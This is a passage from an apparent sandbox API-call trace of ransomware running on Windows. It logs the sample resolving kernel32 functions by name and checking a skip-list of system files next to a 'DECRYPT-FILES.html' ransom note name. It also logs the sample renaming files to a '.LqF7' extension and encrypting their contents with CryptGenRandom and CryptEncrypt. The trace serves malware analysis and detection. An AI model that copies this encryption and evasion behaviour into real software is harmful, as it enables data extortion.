(lpString="CREATEIOCOMPLETIONPORT") returned 22 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0134.692] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0134.692] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0134.692] lstrlenA (lpString="CREATEJOBSET") returned 12 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0134.692] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0134.692] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0134.692] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0134.692] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0134.692] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0134.692] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0134.692] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0134.692] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0134.692] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0134.692] lstrlenA (lpString="CREATEPIPE") returned 10 [0134.692] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0134.693] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0134.693] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0134.693] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0134.693] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0134.693] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0134.693] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0134.693] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0134.693] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0134.693] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0134.693] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0134.693] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0134.693] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0134.693] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0134.693] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0134.693] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0134.693] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0134.693] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0134.693] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0134.693] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0134.693] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0134.693] lstrlenA (lpString="CREATETHREAD") returned 12 [0134.693] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0134.694] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0134.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0134.694] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0134.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0134.694] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0134.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0134.694] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0134.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0134.694] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0134.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0134.694] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0134.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0134.694] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0134.694] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0134.694] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1053\\eula.rtf.LqF7") returned 40 [0134.694] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1053\\eula.rtf.LqF7" (normalized: "c:\\588bce7c90097ed212\\1053\\eula.rtf.lqf7"), dwFlags=0x0) returned 1 [0134.695] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.695] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.695] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0134.696] FindNextFileW (in: hFindFile=0x3b81300, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0134.696] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0134.696] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0134.696] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0134.696] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0134.696] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0134.696] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0134.696] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0134.696] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0134.696] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0134.696] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0134.696] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\") returned 27 [0134.696] lstrlenW (lpString="LocalizedData.xml") returned 17 [0134.696] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1053\\" | out: lpString1="C:\\588bce7c90097ed212\\1053\\") returned="C:\\588bce7c90097ed212\\1053\\" [0134.696] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1053\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" [0134.696] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0134.696] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0134.697] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=77680) returned 1 [0134.697] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0134.697] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0136.587] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0136.587] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0136.587] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0136.587] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0136.588] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0137.179] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.180] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0137.180] CloseHandle (hObject=0x5f8) returned 1 [0137.180] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.180] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0137.181] CloseHandle (hObject=0x0) returned 0 [0137.181] CloseHandle (hObject=0x5f4) returned 1 [0137.183] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.183] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0137.183] GetTickCount () returned 0x37a03 [0137.183] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0137.183] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0137.183] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0137.184] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0137.184] lstrlenA (lpString="kernel32.dll") returned 12 [0137.184] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0137.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0137.184] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0137.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0137.184] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0137.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0137.184] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0137.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0137.184] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0137.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0137.184] lstrlenA (lpString="ADDATOMA") returned 8 [0137.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0137.184] lstrlenA (lpString="ADDATOMW") returned 8 [0137.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0137.184] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0137.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0137.184] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0137.184] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0137.185] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0137.185] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0137.185] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0137.185] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0137.185] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0137.185] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0137.185] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0137.185] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0137.185] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0137.185] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0137.185] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0137.185] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0137.185] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0137.185] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0137.185] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0137.185] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0137.185] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0137.185] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0137.185] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0137.186] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0137.186] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0137.186] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0137.186] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0137.186] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0137.186] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0137.186] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0137.186] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0137.186] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0137.186] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0137.186] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0137.186] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0137.186] lstrlenA (lpString="BACKUPREAD") returned 10 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0137.186] lstrlenA (lpString="BACKUPSEEK") returned 10 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0137.186] lstrlenA (lpString="BACKUPWRITE") returned 11 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0137.186] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0137.186] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0137.186] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0137.186] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0137.186] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0137.186] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0137.186] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0137.187] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0137.187] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0137.187] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0137.187] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0137.187] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0137.187] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") 